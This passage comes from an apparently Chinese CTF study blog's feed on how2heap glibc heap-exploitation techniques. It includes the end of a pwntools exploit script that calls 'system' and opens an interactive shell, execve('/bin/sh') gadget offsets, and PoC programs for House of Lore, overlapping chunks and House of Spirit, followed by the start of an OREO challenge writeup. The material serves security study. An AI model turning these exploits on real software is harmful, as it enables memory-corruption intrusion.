class="line">payload+=(p64(<span class="number">0</span>)+p64(<span class="number">1</span>)).ljust(<span class="number">0xb0</span>,<span class="string">'\x00'</span>)+p64(<span class="number">0</span>)</span><br><span class="line">payload=payload.ljust(<span class="number">0xc8</span>,<span class="string">'\x00'</span>)+p64(heap_base+<span class="number">0x5c0</span>)+p64(<span class="number">0</span>)+p64(libc.symbols[<span class="string">'system'</span>]+libc_base)</span><br><span class="line"></span><br><span class="line">upgrade(len(payload),payload,<span class="number">1</span>,<span class="number">0xDDAA</span>)</span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">'Your choice : '</span>)</span><br><span class="line">p.send(<span class="string">'1'</span>)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br><span class="line"><span class="string">'''libc 2.23 x64</span></span><br><span class="line"><span class="string">0x45216 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL</span></span><br><span class="line"><span class="string">0x4526a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL</span></span><br><span class="line"><span class="string">0xf02a4 execve("/bin/sh", rsp+0x50, environ)constraints: [rsp+0x50] == NULL</span></span><br><span class="line"><span class="string">0xf1147 execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL</span></span><br><span class="line"><span class="string">req = dest - old_top - 4*sizeof(long)</span></span><br><span class="line"><span class="string">fastbin addree to size: (offset_to_fastbinY/8+2)<<(4 or 3)</span></span><br><span class="line"><span class="string">largebin chunksize:0x410|0x450|0x490|0x4C0...</span></span><br><span class="line"><span class="string">'''</span></span><br></pre></td></tr></table></figure>
]]></content>
<tags>
<tag>how2heap</tag>
</tags>
</entry>
<entry>
<title>how2heap - house_of_lore&overlapping_chunks_2</title>
<url>/2020/02/17/how2heap-house-of-lore-overlapping-chunks-2/</url>
<content><![CDATA[<h1 id="how2heap-house-of-lore-amp-overlapping-chunks-2"><a href="#how2heap-house-of-lore-amp-overlapping-chunks-2" class="headerlink" title="how2heap - house_of_lore&overlapping_chunks_2"></a>how2heap - house_of_lore&overlapping_chunks_2</h1><p>ubuntu16.04 libc2.23</p>
<p>这两个没有例题所以我放在一起了</p>
<h1 id="house-of-lore-c"><a href="#house-of-lore-c" class="headerlink" title="house_of_lore.c"></a>house_of_lore.c</h1><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">Advanced exploitation of the House of Lore - Malloc Maleficarum.</span></span><br><span class="line"><span class="comment">This PoC take care also of the glibc hardening of smallbin corruption.</span></span><br><span class="line"><span class="comment">[ ... ]</span></span><br><span class="line"><span class="comment">else</span></span><br><span class="line"><span class="comment"> {</span></span><br><span class="line"><span class="comment"> bck = victim->bk;</span></span><br><span class="line"><span class="comment"> if (__glibc_unlikely (bck->fd != victim)){</span></span><br><span class="line"><span class="comment"> errstr = "malloc(): smallbin double linked list corrupted";</span></span><br><span class="line"><span class="comment"> goto errout;</span></span><br><span class="line"><span class="comment"> }</span></span><br><span class="line"><span class="comment"> set_inuse_bit_at_offset (victim, nb);</span></span><br><span class="line"><span class="comment"> bin->bk = bck;</span></span><br><span class="line"><span class="comment"> bck->fd = bin;</span></span><br><span class="line"><span class="comment"> [ ... ]</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><string.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdint.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">jackpot</span><span class="params">()</span></span>{ <span class="built_in">puts</span>(<span class="string">"Nice jump d00d"</span>); <span class="built_in">exit</span>(<span class="number">0</span>); }</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> * argv[])</span></span>{</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="keyword">intptr_t</span>* stack_buffer_1[<span class="number">4</span>] = {<span class="number">0</span>};</span><br><span class="line"> <span class="keyword">intptr_t</span>* stack_buffer_2[<span class="number">3</span>] = {<span class="number">0</span>};</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nWelcome to the House of Lore\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This is a revisited version that bypass also the hardening check introduced by glibc malloc\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23\n\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Allocating the victim chunk\n"</span>);</span><br><span class="line"> <span class="keyword">intptr_t</span> *victim = <span class="built_in">malloc</span>(<span class="number">100</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Allocated the first small chunk on the heap at %p\n"</span>, victim);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk</span></span><br><span class="line"> <span class="keyword">intptr_t</span> *victim_chunk = victim<span class="number">-2</span>;</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"stack_buffer_1 at %p\n"</span>, (<span class="keyword">void</span>*)stack_buffer_1);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"stack_buffer_2 at %p\n"</span>, (<span class="keyword">void</span>*)stack_buffer_2);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Create a fake chunk on the stack\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"</span></span><br><span class="line"> <span class="string">"in second to the last malloc, which putting stack address on smallbin list\n"</span>);</span><br><span class="line"> stack_buffer_1[<span class="number">0</span>] = <span class="number">0</span>;</span><br><span class="line"> stack_buffer_1[<span class="number">1</span>] = <span class="number">0</span>;</span><br><span class="line"> stack_buffer_1[<span class="number">2</span>] = victim_chunk;</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "</span></span><br><span class="line"> <span class="string">"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "</span></span><br><span class="line"> <span class="string">"chunk on stack"</span>);</span><br><span class="line"> stack_buffer_1[<span class="number">3</span>] = (<span class="keyword">intptr_t</span>*)stack_buffer_2;</span><br><span class="line"> stack_buffer_2[<span class="number">2</span>] = (<span class="keyword">intptr_t</span>*)stack_buffer_1;</span><br><span class="line"> </span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Allocating another large chunk in order to avoid consolidating the top chunk with"</span></span><br><span class="line"> <span class="string">"the small one during the free()\n"</span>);</span><br><span class="line"> <span class="keyword">void</span> *p5 = <span class="built_in">malloc</span>(<span class="number">1000</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Allocated the large chunk on the heap at %p\n"</span>, p5);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Freeing the chunk %p, it will be inserted in the unsorted bin\n"</span>, victim);</span><br><span class="line"> <span class="built_in">free</span>((<span class="keyword">void</span>*)victim);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nIn the unsorted bin the victim's fwd and bk pointers are nil\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"victim->fwd: %p\n"</span>, (<span class="keyword">void</span> *)victim[<span class="number">0</span>]);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"victim->bk: %p\n\n"</span>, (<span class="keyword">void</span> *)victim[<span class="number">1</span>]);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This means that the chunk %p will be inserted in front of the SmallBin\n"</span>, victim);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">void</span> *p2 = <span class="built_in">malloc</span>(<span class="number">1200</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n"</span>, p2);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"The victim chunk has been sorted and its fwd and bk pointers updated\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"victim->fwd: %p\n"</span>, (<span class="keyword">void</span> *)victim[<span class="number">0</span>]);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"victim->bk: %p\n\n"</span>, (<span class="keyword">void</span> *)victim[<span class="number">1</span>]);</span><br><span class="line"></span><br><span class="line"> <span class="comment">//------------VULNERABILITY-----------</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now emulating a vulnerability that can overwrite the victim->bk pointer\n"</span>);</span><br><span class="line"></span><br><span class="line"> victim[<span class="number">1</span>] = (<span class="keyword">intptr_t</span>)stack_buffer_1; <span class="comment">// victim->bk is pointing to stack</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">//------------------------------------</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now allocating a chunk with size equal to the first one freed\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">void</span> *p3 = <span class="built_in">malloc</span>(<span class="number">100</span>);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n"</span>);</span><br><span class="line"> <span class="keyword">char</span> *p4 = <span class="built_in">malloc</span>(<span class="number">100</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"p4 = malloc(100)\n"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n"</span>,</span><br><span class="line"> stack_buffer_2[<span class="number">2</span>]);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\np4 is %p and should be on the stack!\n"</span>, p4); <span class="comment">// this chunk will be allocated on stack</span></span><br><span class="line"> <span class="keyword">intptr_t</span> sc = (<span class="keyword">intptr_t</span>)jackpot; <span class="comment">// Emulating our in-memory shellcode</span></span><br><span class="line"> <span class="built_in">memcpy</span>((p4+<span class="number">40</span>), &sc, <span class="number">8</span>); <span class="comment">// This bypasses stack-smash detection since it jumps over the canary</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>说白了就是在栈上伪造出一个smallbin链里面的chunk来,然后把smallbin链中chunk的bk更改到栈上我们伪造的chunk处</p>
<p>这里在栈上伪造的chunk是这样的</p>
<table>
<thead>
<tr>
<th>header(fill 0)chunk1</th>
<th>header(fill 0)</th>
</tr>
</thead>
<tbody><tr>
<td>fd=victim</td>
<td>bk=chunk2</td>
</tr>
</tbody></table>
<table>
<thead>
<tr>
<th>header(fill 0)chunk2</th>
<th>header(fill 0)</th>
</tr>
</thead>
<tbody><tr>
<td>fd = chunk1↑</td>
<td>#这里没必要,只检查fd</td>
</tr>
</tbody></table>
<p>这样,示例代码中连续两次通过vitcim->bk->fd的检查就可以把栈上的chunk1 malloc出来了,从而修改返回地址到shellcode</p>
<p>是一个比较简单的原理</p>
<h1 id="overlapping-chunks-2-c"><a href="#overlapping-chunks-2-c" class="headerlink" title="overlapping_chunks_2.c"></a>overlapping_chunks_2.c</h1><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> Yet another simple tale of overlapping chunk.</span></span><br><span class="line"><span class="comment"> This technique is taken from</span></span><br><span class="line"><span class="comment"> https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf.</span></span><br><span class="line"><span class="comment"> </span></span><br><span class="line"><span class="comment"> This is also referenced as Nonadjacent Free Chunk Consolidation Attack.</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><string.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdint.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><malloc.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span>{</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">intptr_t</span> *p1,*p2,*p3,*p4,*p5,*p6;</span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">int</span> real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;</span><br><span class="line"> <span class="keyword">int</span> prev_in_use = <span class="number">0x1</span>;</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nThis is a simple chunks overlapping problem"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nThis is also referenced as Nonadjacent Free Chunk Consolidation Attack\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nLet's start to allocate 5 chunks on the heap:"</span>);</span><br><span class="line"></span><br><span class="line"> p1 = <span class="built_in">malloc</span>(<span class="number">1000</span>);</span><br><span class="line"> p2 = <span class="built_in">malloc</span>(<span class="number">1000</span>);</span><br><span class="line"> p3 = <span class="built_in">malloc</span>(<span class="number">1000</span>);</span><br><span class="line"> p4 = <span class="built_in">malloc</span>(<span class="number">1000</span>);</span><br><span class="line"> p5 = <span class="built_in">malloc</span>(<span class="number">1000</span>);</span><br><span class="line"></span><br><span class="line"> real_size_p1 = malloc_usable_size(p1);</span><br><span class="line"> real_size_p2 = malloc_usable_size(p2);</span><br><span class="line"> real_size_p3 = malloc_usable_size(p3);</span><br><span class="line"> real_size_p4 = malloc_usable_size(p4);</span><br><span class="line"> real_size_p5 = malloc_usable_size(p5);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\n\nchunk p1 from %p to %p"</span>, p1, (<span class="keyword">unsigned</span> <span class="keyword">char</span> *)p1+malloc_usable_size(p1));</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nchunk p2 from %p to %p"</span>, p2, (<span class="keyword">unsigned</span> <span class="keyword">char</span> *)p2+malloc_usable_size(p2));</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nchunk p3 from %p to %p"</span>, p3, (<span class="keyword">unsigned</span> <span class="keyword">char</span> *)p3+malloc_usable_size(p3));</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nchunk p4 from %p to %p"</span>, p4, (<span class="keyword">unsigned</span> <span class="keyword">char</span> *)p4+malloc_usable_size(p4));</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nchunk p5 from %p to %p\n"</span>, p5, (<span class="keyword">unsigned</span> <span class="keyword">char</span> *)p5+malloc_usable_size(p5));</span><br><span class="line"></span><br><span class="line"> <span class="built_in">memset</span>(p1,<span class="string">'A'</span>,real_size_p1);</span><br><span class="line"> <span class="built_in">memset</span>(p2,<span class="string">'B'</span>,real_size_p2);</span><br><span class="line"> <span class="built_in">memset</span>(p3,<span class="string">'C'</span>,real_size_p3);</span><br><span class="line"> <span class="built_in">memset</span>(p4,<span class="string">'D'</span>,real_size_p4);</span><br><span class="line"> <span class="built_in">memset</span>(p5,<span class="string">'E'</span>,real_size_p5);</span><br><span class="line"> </span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nLet's free the chunk p4.\nIn this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4\n"</span>); </span><br><span class="line"> </span><br><span class="line"> <span class="built_in">free</span>(p4);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nLet's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2\nwith the size of chunk_p2 + size of chunk_p3\n"</span>);</span><br><span class="line"></span><br><span class="line"> *(<span class="keyword">unsigned</span> <span class="keyword">int</span> *)((<span class="keyword">unsigned</span> <span class="keyword">char</span> *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + <span class="keyword">sizeof</span>(<span class="keyword">size_t</span>) * <span class="number">2</span>; <span class="comment">//<--- BUG HERE </span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nNow during the free() operation on p2, the allocator is fooled to think that \nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) \n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nThis operation will basically create a big free chunk that wrongly includes p3\n"</span>);</span><br><span class="line"> <span class="built_in">free</span>(p2);</span><br><span class="line"> </span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nNow let's allocate a new chunk with a size that can be satisfied by the previously freed chunk\n"</span>);</span><br><span class="line"></span><br><span class="line"> p6 = <span class="built_in">malloc</span>(<span class="number">2000</span>);</span><br><span class="line"> real_size_p6 = malloc_usable_size(p6);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nOur malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and \nwe can overwrite data in p3 by writing on chunk p6\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nchunk p6 from %p to %p"</span>, p6, (<span class="keyword">unsigned</span> <span class="keyword">char</span> *)p6+real_size_p6);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nchunk p3 from %p to %p\n"</span>, p3, (<span class="keyword">unsigned</span> <span class="keyword">char</span> *) p3+real_size_p3); </span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nData inside chunk p3: \n\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"%s\n"</span>,(<span class="keyword">char</span> *)p3); </span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nLet's write something inside p6\n"</span>);</span><br><span class="line"> <span class="built_in">memset</span>(p6,<span class="string">'F'</span>,<span class="number">1500</span>); </span><br><span class="line"> </span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nData inside chunk p3: \n\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"%s\n"</span>,(<span class="keyword">char</span> *)p3); </span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>这个代码就是我前面写overlapchunk1用到的,通过溢出修改chunk的size字段,然后就可以在free时free出一大块chunk(不过此时要注意free的检查)一般是设置扩充的chunk刚好在某个chunk头部,当然如果chunk里面有合适的size也可以使用,这个我也暂时不debug了后面回来一起写总结</p>
]]></content>
<tags>
<tag>how2heap</tag>
</tags>
</entry>
<entry>
<title>how2heap - house_of_spirit&OREO</title>
<url>/2020/02/06/how2heap-house-of-spirit-OREO/</url>
<content><![CDATA[<h1 id="how2heap-house-of-spirit-amp-OREO"><a href="#how2heap-house-of-spirit-amp-OREO" class="headerlink" title="how2heap - house_of_spirit&OREO"></a>how2heap - house_of_spirit&OREO</h1><p>ubuntu 16.04 libc2.23</p>
<h1 id="house-of-spirit-c"><a href="#house-of-spirit-c" class="headerlink" title="house_of_spirit.c"></a>house_of_spirit.c</h1><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This file demonstrates the house of spirit attack.\n"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Calling malloc() once so that it sets up its memory.\n"</span>);</span><br><span class="line"> <span class="built_in">malloc</span>(<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"We will now overwrite a pointer to point to a fake 'fastbin' region.\n"</span>);</span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">long</span> <span class="keyword">long</span> *a;</span><br><span class="line"> <span class="comment">// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)</span></span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">long</span> <span class="keyword">long</span> fake_chunks[<span class="number">10</span>] __attribute__ ((aligned (<span class="number">16</span>)));</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n"</span>, <span class="keyword">sizeof</span>(fake_chunks), &fake_chunks[<span class="number">1</span>], &fake_chunks[<span class="number">9</span>]);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"</span>);</span><br><span class="line"> fake_chunks[<span class="number">1</span>] = <span class="number">0x40</span>; <span class="comment">// this is the size</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"</span>);</span><br><span class="line"> <span class="comment">// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8</span></span><br><span class="line"> fake_chunks[<span class="number">9</span>] = <span class="number">0x1234</span>; <span class="comment">// nextsize</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n"</span>, &fake_chunks[<span class="number">1</span>]);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"</span>);</span><br><span class="line"> a = &fake_chunks[<span class="number">2</span>];</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Freeing the overwritten pointer.\n"</span>);</span><br><span class="line"> <span class="built_in">free</span>(a);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n"</span>, &fake_chunks[<span class="number">1</span>], &fake_chunks[<span class="number">2</span>]);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"malloc(0x30): %p\n"</span>, <span class="built_in">malloc</span>(<span class="number">0x30</span>));</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>基本就是初始化堆之后,在栈上通过伪造一个chunk来free然后malloc出来</p>
<p>记两句吧:</p>
<p>在栈上伪造fake chunk时,next chunk.size要满足条件才能通过free的检查</p>
<p>The chunk.size of the <em>next</em> fake region has to be sane. That is > <strong>2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena)</strong> to pass the nextsize integrity checks. No need for fastbin size.</p>
<p>fake chunk的地址需要16字节对齐(x64),所以在申请临时变量时才用到了<code>__attribute__ ((aligned (16)))</code></p>
<p>note that the memory address of the <em>region</em> associated with this chunk must be 16-byte aligned.</p>
<h2 id="Debug"><a href="#Debug" class="headerlink" title="Debug"></a>Debug</h2><p>fake chunk伪造完成之后栈上布局如图所示:</p>
<img src="/2020/02/06/how2heap-house-of-spirit-OREO/1580794910542.png" width="90%" height="90%">
<p>free之后:</p>
<img src="/2020/02/06/how2heap-house-of-spirit-OREO/1580795039645.png" width="60%" height="60%">
<p>再次malloc结束之后可以看到RAX中的返回值便是fake chunk的data region</p>
<img src="/2020/02/06/how2heap-house-of-spirit-OREO/1580795339441.png" width="60%" height="60%">
<h1 id="OREO"><a href="#OREO" class="headerlink" title="OREO"></a>OREO</h1><p>写了好久的x64 heap这次总算碰到一个x86的 : )</p>
<h2 id="程序分析"><a href="#程序分析" class="headerlink" title="程序分析"></a>程序分析</h2><p>(经过分析之后先逆出了结构体和符号)</p>
<h3 id="main函数:"><a href="#main函数:" class="headerlink" title="main函数:"></a>main函数:</h3><img src="/2020/02/06/how2heap-house-of-spirit-OREO/1580813725716.png" width="70%" height="70%">
<p>main函数就是一段初始化,然后进入menu</p>
<h3 id="menu"><a href="#menu" class="headerlink" title="menu"></a>menu</h3><img src="/2020/02/06/how2heap-house-of-spirit-OREO/1580798688028.png" width="45%" height="45%">
<p>通过<code>fgets(&s, 0x20, stdin);</code>和<code>__isoc99_sscanf(&s, "%u", &v1)</code>的组合来输入然后switch</p>
<h3 id="lt-Rifile-structure-gt"><a href="#lt-Rifile-structure-gt" class="headerlink" title="<Rifile structure>"></a><Rifile structure></h3><p>分析下面几个函数时,先逆出程序用到的一个结构体,具体如下</p>
<img src="/2020/02/06/how2heap-house-of-spirit-OREO/1580813775276.png" width="60%" height="60%">
<h3 id="add"><a href="#add" class="headerlink" title="add"></a>add</h3><img src="/2020/02/06/how2heap-house-of-spirit-OREO/1580813832897.png" width="80%" height="80%">
<p>具体就是一个链表添加、结构体填充的操作(先填<code>forward_ptr</code>,再输入),全局变量head_ptr存放链表头指针,每次malloc一个refle(fast chunk),然后从对应的位置用<code>fgets</code>输入。两处溢出:<code>refle_name</code>处的溢出可以覆盖到下一个chunk的0x19字节内容,<code>newL_to_zero</code>是将最后的换行符换成<code>\x00</code>,最后<code>++refle_num</code></p>
<p><em>ps:<code>fgets(,n,)</code>时会读取 n-1个字符,并且包括 <code>\n</code>,如果输入字符的长度(不包括 <code>\n</code>)大于等于 n-1,则截取输入中前 n-1个字符(此时没有 <code>\n</code>)并把第 n个字符处填充成 <code>\x00</code>。当输入长度小于 n-1时,会把 <code>\n</code>也读入,并在 <code>\n</code>后面一个字节处填充 <code>\x00</code>(直接回车也会)</em></p>
<h3 id="Show-added-rifles"><a href="#Show-added-rifles" class="headerlink" title="Show added rifles"></a>Show added rifles</h3><img src="/2020/02/06/how2heap-house-of-spirit-OREO/1580813868490.png" width="80%" height="80%">
<p>根据链表输出所有<code>refle</code>的内容</p>
<h3 id="order"><a href="#order" class="headerlink" title="order"></a>order</h3><img src="/2020/02/06/how2heap-house-of-spirit-OREO/1580813953372.png" width="60%" height="60%">
